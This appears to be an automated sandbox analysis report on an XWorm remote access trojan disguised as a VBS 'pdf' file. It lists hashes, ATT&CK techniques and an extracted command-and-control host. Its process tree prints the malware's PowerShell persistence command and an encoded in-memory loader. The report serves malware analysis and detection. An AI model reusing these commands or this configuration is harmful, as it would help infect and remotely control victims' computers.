xworm | e6ffbcca0cf52c544269515f5e6340d92fd6f85d992b5d7cd57556e92db74197

Analysis

max time kernel
146s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
21/06/2024, 03:49

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General

Target
RFQ_TSL104.20221024_pdf.vbs
Size 400.0MB
Sample240621-edjeksxepf
SHA256 adf773b49d8306e08b5232039e0dea143e2c015cdc731f1be86d7dd92fcca6a9
MD5 2638fb06302ad73878fd5ded3d1496c4
SHA1 b5578705001d62f3c0af0ff40d36a927c2d3e587
SHA512 d9a91cbab5e98de178c240d5d6331f63f0525e96ff87f6c512b22a5a62aec14873ac644821ec4a9a640b24979654b37d4b10115a98e72e1590bd529cc4392ae1
SSDEEP 768:8axn72mwriA9vsCP7pkYeDIOcJIzazqeWIR4hw79GiWiQgFGdM+VA:8axn72mk7leVcR+naYEM7gFGdM+VA
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

liliana221990.duckdns.org:7000

Mutex

8rNeaQQDJANqySCC

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2292-25-0x0000020373BC0000-0x0000020373BD0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Payload.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Payload.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2292	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2292	powershell.exe
3520	powershell.exe
2292	powershell.exe
3520	powershell.exe
2292	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2292	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 3520	4604	WScript.exe	85
PID 4604 wrote to memory of 3520	4604	WScript.exe	85
PID 4604 wrote to memory of 2292	4604	WScript.exe	86
PID 4604 wrote to memory of 2292	4604	WScript.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ_TSL104.20221024_pdf.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -window 1 Copy-Item 'C:\Users\Admin\AppData\Local\Temp\RFQ_TSL104.20221024_pdf.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Payload.vbs';
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABQAGEAeQBsAG8AYQBkAFwAKQAuAFAAYQB5AGwAbwBhAGQAKQA7ACAAJAB0AGUAeAB0ACAAPQAgAC0AagBvAGkAbgAgACQAdABlAHgAdABbAC0AMQAuAC4ALQAkAHQAZQB4AHQALgBMAGUAbgBnAHQAaABdADsAIABbAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAZQB4AHQAKQApAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAAuAEkAbgB2AG8AawBlACgAJABOAHUAbABsACwAJABOAHUAbABsACkAOwA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_s1u3scmr.vaq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s1u3scmr.vaq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2292-0-0x00007FF8D7993000-0x00007FF8D7995000-memory.dmp

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memory/2292-2-0x0000020373920000-0x0000020373942000-memory.dmp

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memory/2292-21-0x00007FF8D7990000-0x00007FF8D8451000-memory.dmp

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memory/2292-23-0x00007FF8D7990000-0x00007FF8D8451000-memory.dmp

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memory/2292-24-0x0000020373E50000-0x0000020373E94000-memory.dmp

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memory/2292-25-0x0000020373BC0000-0x0000020373BD0000-memory.dmp

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memory/2292-31-0x00007FF8D7993000-0x00007FF8D7995000-memory.dmp

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memory/2292-32-0x00007FF8D7990000-0x00007FF8D8451000-memory.dmp

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memory/3520-1-0x00007FF8D7990000-0x00007FF8D8451000-memory.dmp

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memory/3520-22-0x00007FF8D7990000-0x00007FF8D8451000-memory.dmp

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memory/3520-29-0x00007FF8D7990000-0x00007FF8D8451000-memory.dmp

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